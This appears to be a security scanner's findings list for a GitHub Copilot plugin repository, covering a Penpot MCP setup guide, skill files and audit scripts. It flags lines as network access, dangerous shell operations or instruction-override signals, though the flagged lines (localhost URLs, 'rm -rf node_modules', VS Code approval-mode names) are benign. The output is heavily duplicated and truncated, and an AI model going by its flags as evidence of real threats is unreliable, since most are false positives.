- If the tool fails, ask whether the Penpot MCP server is already installed and running; only guide installation when the user confirms it is not installed. - Installation path: clone https://github.com/penpot/penpot-mcp.git and run `npm in - Network accessline 24
- Installation path: clone https://github.com/penpot/penpot-mcp.git and run `npm install`, then `npm run bootstrap`. - Network accessline 25
- In Penpot, open a design file, choose Plugins → Load plugin from URL, enter `http://localhost:4400/manifest.json`, then click "Connect to MCP server" in the plugin UI. - Network accessline 26
- VS Code MCP configuration uses `http://localhost:4401/sse` under `mcp.servers.penpot.url`.
harness/github-copilot/plugins/ux-design-tooling/skills/penpot-uiux-design/references/setup-troubleshooting.md
- Network accessline 26
- **Node.js v22+** - [Download](https://nodejs.org/) - Network accessline 42
# Clone the repository git clone https://github.com/penpot/penpot-mcp.git - Network accessline 43
git clone https://github.com/penpot/penpot-mcp.git - Network accessline 66
MCP Server listening on http://localhost:4401 - Network accessline 67
Plugin server listening on http://localhost:4400 - Network accessline 73
1. Open [Penpot](https://design.penpot.app/) in your browser - Network accessline 75
3. Go to **Plugins** menu (or press the plugins icon) 4. Click **Load plugin from URL** 5. Enter: `http://localhost:4400/manifest.json` - Network accessline 76
4. Click **Load plugin from URL** 5. Enter: `http://localhost:4400/manifest.json` 6. The plugin UI will appear - click **"Connect to MCP server"** - Network accessline 77
5. Enter: `http://localhost:4400/manifest.json` - Network accessline 92
"servers": { "penpot": { "url": "http://localhost:4401/sse" - Network accessline 93
"penpot": { "url": "http://localhost:4401/sse" } - Network accessline 94
"url": "http://localhost:4401/sse" - Network accessline 106
"servers": { "penpot": { "url": "http://localhost:4401/mcp" - Network accessline 107
"penpot": { "url": "http://localhost:4401/mcp" } - Network accessline 108
"url": "http://localhost:4401/mcp" - Network accessline 135
"penpot": { "command": "npx", "args": ["-y", "mcp-remote", "http://localhost:4401/sse", "--allow-http"] - Network accessline 136
"command": "npx", "args": ["-y", "mcp-remote", "http://localhost:4401/sse", "--allow-http"] } - Network accessline 137
"args": ["-y", "mcp-remote", "http://localhost:4401/sse", "--allow-http"] - Network accessline 148
claude mcp add penpot -t http http://localhost:4401/mcp - Network accessline 207
# Test the SSE endpoint curl http://localhost:4401/sse - Network accessline 208
curl http://localhost:4401/sse - Network accessline 210
# Test the MCP endpoint curl http://localhost:4401/mcp - Network accessline 211
curl http://localhost:4401/mcp - Network accessline 237
1. Verify plugin server is running on port 4400 2. Try accessing `http://localhost:4400/manifest.json` directly in browser - Network accessline 238
2. Try accessing `http://localhost:4400/manifest.json` directly in browser - Dangerous shell operationline 275
rm -rf node_modules - Network accessline 309
curl -s http://localhost:4401/sse | head -1 - Network accessline 326
- **GitHub Issues**: [penpot/penpot-mcp/issues](https://github.com/penpot/penpot-mcp/issues) - Network accessline 327
- **GitHub Discussions**: [penpot/penpot-mcp/discussions](https://github.com/penpot/penpot-mcp/discussions) - Network accessline 328
- **Penpot Community**: [community.penpot.app](https://community.penpot.app/)
harness/github-copilot/plugins/visual-pr/skills/pr-screenshots/SKILL.md
harness/github-copilot/plugins/visual-pr/skills/ui-screenshots/SKILL.md
harness/github-copilot/plugins/web-framework-development/skills/gsap-framer-scroll-animation/SKILL.md
- Network accessline 5
metadata: author: "Utkarsh Patrikar" author_url: "https://github.com/utkarsh232005" - Network accessline 6
author: "Utkarsh Patrikar" author_url: "https://github.com/utkarsh232005" --- - Network accessline 7
author_url: "https://github.com/utkarsh232005" - Network accessline 176
- [Author profile](https://github.com/utkarsh232005)
harness/github-copilot/plugins/web-framework-development/skills/gsap-framer-scroll-animation/references/gsap.md
harness/github-copilot/plugins/web-framework-development/skills/markstream-install/SKILL.md
- Network accessline 6
metadata: compatibility: "JavaScript or TypeScript frontend project using Vue 3, Nuxt 3/4, Vue 2.6/2.7, React 18+, Next.js, Angular 20+, or Svelte 5." documentation: "https://markstream.simonhe.me/" - Network accessline 7
compatibility: "JavaScript or TypeScript frontend project using Vue 3, Nuxt 3/4, Vue 2.6/2.7, React 18+, Next.js, Angular 20+, or Svelte 5." documentation: "https://markstream.simonhe.me/" source: "https://github.com/Simon-He95/markstre - Network accessline 8
documentation: "https://markstream.simonhe.me/" - Network accessline 9
source: "https://github.com/Simon-He95/markstream-vue" - Network accessline 34
Read `references/scenarios.md` before choosing packages or peers. Official sources are https://markstream.simonhe.me/ and https://github.com/Simon-He95/markstream-vue . - Network accessline 169
- [Installation](https://markstream.simonhe.me/guide/installation) - Network accessline 170
- [AI chat and streaming](https://markstream.simonhe.me/guide/ai-chat-streaming) - Network accessline 171
- [Performance](https://markstream.simonhe.me/guide/performance) - Network accessline 172
- [Troubleshooting](https://markstream.simonhe.me/guide/troubleshooting) - Network accessline 173
- [Component overrides](https://markstream.simonhe.me/guide/component-overrides)
harness/github-copilot/scripts/audit_plugins.py
- Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Network accessline 190
if source_config.get("extensionLayoutVersion") != 1: errors.append(f"{name}: extensionLayoutVersion must equal 1") if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot": - Network accessline 190
if source_config.get("extensionLayoutVersion") != 1: errors.append(f"{name}: extensionLayoutVersion must equal 1") if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot": - Network accessline 190
if source_config.get("extensionLayoutVersion") != 1: errors.append(f"{name}: extensionLayoutVersion must equal 1") if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot": - Network accessline 190
if source_config.get("extensionLayoutVersion") != 1: errors.append(f"{name}: extensionLayoutVersion must equal 1") if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot": - Network accessline 190
if source_config.get("extensionLayoutVersion") != 1: errors.append(f"{name}: extensionLayoutVersion must equal 1") if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot": - Network accessline 190
if source_config.get("extensionLayoutVersion") != 1: errors.append(f"{name}: extensionLayoutVersion must equal 1") if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot": - Network accessline 190
if source_config.get("extensionLayoutVersion") != 1: errors.append(f"{name}: extensionLayoutVersion must equal 1") if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot": - Network accessline 190
if source_config.get("extensionLayoutVersion") != 1: errors.append(f"{name}: extensionLayoutVersion must equal 1") if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot": - Network accessline 191
errors.append(f"{name}: extensionLayoutVersion must equal 1") if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot": errors.append( - Network accessline 191
errors.append(f"{name}: extensionLayoutVersion must equal 1") if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot": errors.append( - Network accessline 191
errors.append(f"{name}: extensionLayoutVersion must equal 1") if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot": errors.append( - Network accessline 191
errors.append(f"{name}: extensionLayoutVersion must equal 1") if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot": errors.append( - Network accessline 191
errors.append(f"{name}: extensionLayoutVersion must equal 1") if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot": errors.append( - Network accessline 191
errors.append(f"{name}: extensionLayoutVersion must equal 1") if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot": errors.append( - Network accessline 191
errors.append(f"{name}: extensionLayoutVersion must equal 1") if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot": errors.append( - Network accessline 191
errors.append(f"{name}: extensionLayoutVersion must equal 1") if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot": errors.append( - Network accessline 192
if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot": - Network accessline 192
if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot": - Network accessline 192
if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot": - Network accessline 192
if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot": - Network accessline 192
if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot": - Network accessline 192
if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot": - Network accessline 192
if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot": - Network accessline 192
if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot":
harness/github-copilot/scripts/audit_primitive_capabilities.py
- Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Network accessline 41
PLUGIN_SOURCES = load_plugin_sources() FIRST_PARTY_SOURCES = [ "https://code.visualstudio.com/docs/agent-customization/custom-agents", - Network accessline 41
PLUGIN_SOURCES = load_plugin_sources() FIRST_PARTY_SOURCES = [ "https://code.visualstudio.com/docs/agent-customization/custom-agents", - Network accessline 41
PLUGIN_SOURCES = load_plugin_sources() FIRST_PARTY_SOURCES = [ "https://code.visualstudio.com/docs/agent-customization/custom-agents", - Network accessline 41
PLUGIN_SOURCES = load_plugin_sources() FIRST_PARTY_SOURCES = [ "https://code.visualstudio.com/docs/agent-customization/custom-agents", - Network accessline 41
PLUGIN_SOURCES = load_plugin_sources() FIRST_PARTY_SOURCES = [ "https://code.visualstudio.com/docs/agent-customization/custom-agents", - Network accessline 41
PLUGIN_SOURCES = load_plugin_sources() FIRST_PARTY_SOURCES = [ "https://code.visualstudio.com/docs/agent-customization/custom-agents", - Network accessline 41
PLUGIN_SOURCES = load_plugin_sources() FIRST_PARTY_SOURCES = [ "https://code.visualstudio.com/docs/agent-customization/custom-agents", - Network accessline 41
PLUGIN_SOURCES = load_plugin_sources() FIRST_PARTY_SOURCES = [ "https://code.visualstudio.com/docs/agent-customization/custom-agents", - Network accessline 41
PLUGIN_SOURCES = load_plugin_sources() FIRST_PARTY_SOURCES = [ "https://code.visualstudio.com/docs/agent-customization/custom-agents", - Network accessline 41
PLUGIN_SOURCES = load_plugin_sources() FIRST_PARTY_SOURCES = [ "https://code.visualstudio.com/docs/agent-customization/custom-agents", - Network accessline 41
PLUGIN_SOURCES = load_plugin_sources() FIRST_PARTY_SOURCES = [ "https://code.visualstudio.com/docs/agent-customization/custom-agents", - Network accessline 41
PLUGIN_SOURCES = load_plugin_sources() FIRST_PARTY_SOURCES = [ "https://code.visualstudio.com/docs/agent-customization/custom-agents", - Network accessline 42
FIRST_PARTY_SOURCES = [ "https://code.visualstudio.com/docs/agent-customization/custom-agents", "https://code.visualstudio.com/docs/agent-customization/prompt-files", - Network accessline 42
FIRST_PARTY_SOURCES = [ "https://code.visualstudio.com/docs/agent-customization/custom-agents", "https://code.visualstudio.com/docs/agent-customization/prompt-files", - Network accessline 42
FIRST_PARTY_SOURCES = [ "https://code.visualstudio.com/docs/agent-customization/custom-agents", "https://code.visualstudio.com/docs/agent-customization/prompt-files", - Network accessline 42
FIRST_PARTY_SOURCES = [ "https://code.visualstudio.com/docs/agent-customization/custom-agents", "https://code.visualstudio.com/docs/agent-customization/prompt-files", - Network accessline 42
FIRST_PARTY_SOURCES = [ "https://code.visualstudio.com/docs/agent-customization/custom-agents", "https://code.visualstudio.com/docs/agent-customization/prompt-files", - Network accessline 42
FIRST_PARTY_SOURCES = [ "https://code.visualstudio.com/docs/agent-customization/custom-agents", "https://code.visualstudio.com/docs/agent-customization/prompt-files", - Network accessline 42
FIRST_PARTY_SOURCES = [ "https://code.visualstudio.com/docs/agent-customization/custom-agents", "https://code.visualstudio.com/docs/agent-customization/prompt-files", - Network accessline 42
FIRST_PARTY_SOURCES = [ "https://code.visualstudio.com/docs/agent-customization/custom-agents", "https://code.visualstudio.com/docs/agent-customization/prompt-files", - Network accessline 42
FIRST_PARTY_SOURCES = [ "https://code.visualstudio.com/docs/agent-customization/custom-agents", "https://code.visualstudio.com/docs/agent-customization/prompt-files", - Network accessline 42
FIRST_PARTY_SOURCES = [ "https://code.visualstudio.com/docs/agent-customization/custom-agents", "https://code.visualstudio.com/docs/agent-customization/prompt-files", - Network accessline 42
FIRST_PARTY_SOURCES = [ "https://code.visualstudio.com/docs/agent-customization/custom-agents", "https://code.visualstudio.com/docs/agent-customization/prompt-files", - Network accessline 42
FIRST_PARTY_SOURCES = [ "https://code.visualstudio.com/docs/agent-customization/custom-agents", "https://code.visualstudio.com/docs/agent-customization/prompt-files", - Network accessline 43
"https://code.visualstudio.com/docs/agent-customization/custom-agents", - Network accessline 43
"https://code.visualstudio.com/docs/agent-customization/custom-agents", - Network accessline 43
"https://code.visualstudio.com/docs/agent-customization/custom-agents", - Network accessline 43
"https://code.visualstudio.com/docs/agent-customization/custom-agents", - Network accessline 43
"https://code.visualstudio.com/docs/agent-customization/custom-agents", - Network accessline 43
"https://code.visualstudio.com/docs/agent-customization/custom-agents", - Network accessline 43
"https://code.visualstudio.com/docs/agent-customization/custom-agents", - Network accessline 43
"https://code.visualstudio.com/docs/agent-customization/custom-agents", - Network accessline 43
"https://code.visualstudio.com/docs/agent-customization/custom-agents", - Network accessline 43
"https://code.visualstudio.com/docs/agent-customization/custom-agents", - Network accessline 43
"https://code.visualstudio.com/docs/agent-customization/custom-agents", - Network accessline 43
"https://code.visualstudio.com/docs/agent-customization/custom-agents", - Network accessline 44
"https://code.visualstudio.com/docs/agent-customization/prompt-files", - Network accessline 44
"https://code.visualstudio.com/docs/agent-customization/prompt-files", - Network accessline 44
"https://code.visualstudio.com/docs/agent-customization/prompt-files", - Network accessline 44
"https://code.visualstudio.com/docs/agent-customization/prompt-files", - Network accessline 44
"https://code.visualstudio.com/docs/agent-customization/prompt-files", - Network accessline 44
"https://code.visualstudio.com/docs/agent-customization/prompt-files", - Network accessline 44
"https://code.visualstudio.com/docs/agent-customization/prompt-files", - Network accessline 44
"https://code.visualstudio.com/docs/agent-customization/prompt-files", - Network accessline 44
"https://code.visualstudio.com/docs/agent-customization/prompt-files", - Network accessline 44
"https://code.visualstudio.com/docs/agent-customization/prompt-files", - Network accessline 44
"https://code.visualstudio.com/docs/agent-customization/prompt-files", - Network accessline 44
"https://code.visualstudio.com/docs/agent-customization/prompt-files", - Network accessline 45
"https://code.visualstudio.com/docs/agents/run/tools", - Network accessline 45
"https://code.visualstudio.com/docs/agents/run/tools", - Network accessline 45
"https://code.visualstudio.com/docs/agents/run/tools", - Network accessline 45
"https://code.visualstudio.com/docs/agents/run/tools", - Network accessline 45
"https://code.visualstudio.com/docs/agents/run/tools", - Network accessline 45
"https://code.visualstudio.com/docs/agents/run/tools", - Network accessline 45
"https://code.visualstudio.com/docs/agents/run/tools", - Network accessline 45
"https://code.visualstudio.com/docs/agents/run/tools", - Network accessline 45
"https://code.visualstudio.com/docs/agents/run/tools", - Network accessline 45
"https://code.visualstudio.com/docs/agents/run/tools", - Network accessline 45
"https://code.visualstudio.com/docs/agents/run/tools", - Network accessline 45
"https://code.visualstudio.com/docs/agents/run/tools", - Network accessline 46
"https://code.visualstudio.com/docs/agents/run/approvals", - Network accessline 46
"https://code.visualstudio.com/docs/agents/run/approvals", - Network accessline 46
"https://code.visualstudio.com/docs/agents/run/approvals", - Network accessline 46
"https://code.visualstudio.com/docs/agents/run/approvals", - Network accessline 46
"https://code.visualstudio.com/docs/agents/run/approvals", - Network accessline 46
"https://code.visualstudio.com/docs/agents/run/approvals", - Network accessline 46
"https://code.visualstudio.com/docs/agents/run/approvals", - Network accessline 46
"https://code.visualstudio.com/docs/agents/run/approvals", - Network accessline 46
"https://code.visualstudio.com/docs/agents/run/approvals", - Network accessline 46
"https://code.visualstudio.com/docs/agents/run/approvals", - Network accessline 46
"https://code.visualstudio.com/docs/agents/run/approvals", - Network accessline 46
"https://code.visualstudio.com/docs/agents/run/approvals", - Network accessline 47
"https://docs.github.com/en/copilot/reference/custom-agents-configuration", - Network accessline 47
"https://docs.github.com/en/copilot/reference/custom-agents-configuration", - Network accessline 47
"https://docs.github.com/en/copilot/reference/custom-agents-configuration", - Network accessline 47
"https://docs.github.com/en/copilot/reference/custom-agents-configuration", - Network accessline 47
"https://docs.github.com/en/copilot/reference/custom-agents-configuration", - Network accessline 47
"https://docs.github.com/en/copilot/reference/custom-agents-configuration", - Network accessline 47
"https://docs.github.com/en/copilot/reference/custom-agents-configuration", - Network accessline 47
"https://docs.github.com/en/copilot/reference/custom-agents-configuration", - Network accessline 47
"https://docs.github.com/en/copilot/reference/custom-agents-configuration", - Network accessline 47
"https://docs.github.com/en/copilot/reference/custom-agents-configuration", - Network accessline 47
"https://docs.github.com/en/copilot/reference/custom-agents-configuration", - Network accessline 47
"https://docs.github.com/en/copilot/reference/custom-agents-configuration", - Instruction override signalline 313
], "note": ( "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " - Instruction override signalline 313
], "note": ( "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " - Instruction override signalline 313
], "note": ( "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " - Instruction override signalline 313
], "note": ( "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " - Instruction override signalline 313
], "note": ( "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " - Instruction override signalline 313
], "note": ( "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " - Instruction override signalline 313
], "note": ( "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " - Instruction override signalline 313
], "note": ( "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " - Instruction override signalline 313
], "note": ( "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " - Instruction override signalline 313
], "note": ( "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " - Instruction override signalline 313
], "note": ( "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " - Instruction override signalline 313
], "note": ( "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " - Instruction override signalline 314
"note": ( "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " "managed rules, URL approval, terminal approval, and sandboxing are VS Code " - Instruction override signalline 314
"note": ( "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " "managed rules, URL approval, terminal approval, and sandboxing are VS Code " - Instruction override signalline 314
"note": ( "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " "managed rules, URL approval, terminal approval, and sandboxing are VS Code " - Instruction override signalline 314
"note": ( "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " "managed rules, URL approval, terminal approval, and sandboxing are VS Code " - Instruction override signalline 314
"note": ( "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " "managed rules, URL approval, terminal approval, and sandboxing are VS Code " - Instruction override signalline 314
"note": ( "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " "managed rules, URL approval, terminal approval, and sandboxing are VS Code " - Instruction override signalline 314
"note": ( "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " "managed rules, URL approval, terminal approval, and sandboxing are VS Code " - Instruction override signalline 314
"note": ( "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " "managed rules, URL approval, terminal approval, and sandboxing are VS Code " - Instruction override signalline 314
"note": ( "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " "managed rules, URL approval, terminal approval, and sandboxing are VS Code " - Instruction override signalline 314
"note": ( "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " "managed rules, URL approval, terminal approval, and sandboxing are VS Code " - Instruction override signalline 314
"note": ( "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " "managed rules, URL approval, terminal approval, and sandboxing are VS Code " - Instruction override signalline 314
"note": ( "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " "managed rules, URL approval, terminal approval, and sandboxing are VS Code " - Instruction override signalline 315
"Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " - Instruction override signalline 315
"Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " - Instruction override signalline 315
"Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " - Instruction override signalline 315
"Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " - Instruction override signalline 315
"Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " - Instruction override signalline 315
"Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " - Instruction override signalline 315
"Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " - Instruction override signalline 315
"Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " - Instruction override signalline 315
"Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " - Instruction override signalline 315
"Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " - Instruction override signalline 315
"Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " - Instruction override signalline 315
"Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, " - Instruction override signalline 422
VS Code documents **Default Approvals**, **Assisted permissions**, **Bypass Approvals**, and **Autopilot**. - Instruction override signalline 422
VS Code documents **Default Approvals**, **Assisted permissions**, **Bypass Approvals**, and **Autopilot**. - Instruction override signalline 422
VS Code documents **Default Approvals**, **Assisted permissions**, **Bypass Approvals**, and **Autopilot**. - Instruction override signalline 422
VS Code documents **Default Approvals**, **Assisted permissions**, **Bypass Approvals**, and **Autopilot**. - Instruction override signalline 422
VS Code documents **Default Approvals**, **Assisted permissions**, **Bypass Approvals**, and **Autopilot**. - Instruction override signalline 422
VS Code documents **Default Approvals**, **Assisted permissions**, **Bypass Approvals**, and **Autopilot**. - Instruction override signalline 422
VS Code documents **Default Approvals**, **Assisted permissions**, **Bypass Approvals**, and **Autopilot**. - Instruction override signalline 422
VS Code documents **Default Approvals**, **Assisted permissions**, **Bypass Approvals**, and **Autopilot**. - Instruction override signalline 422
VS Code documents **Default Approvals**, **Assisted permissions**, **Bypass Approvals**, and **Autopilot**. - Instruction override signalline 422
VS Code documents **Default Approvals**, **Assisted permissions**, **Bypass Approvals**, and **Autopilot**. - Instruction override signalline 422
VS Code documents **Default Approvals**, **Assisted permissions**, **Bypass Approvals**, and **Autopilot**. - Instruction override signalline 422
VS Code documents **Default Approvals**, **Assisted permissions**, **Bypass Approvals**, and **Autopilot**.
harness/github-copilot/scripts/audit_primitive_content.py
- Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
Executable file; content unavailable - Executable scriptline 1
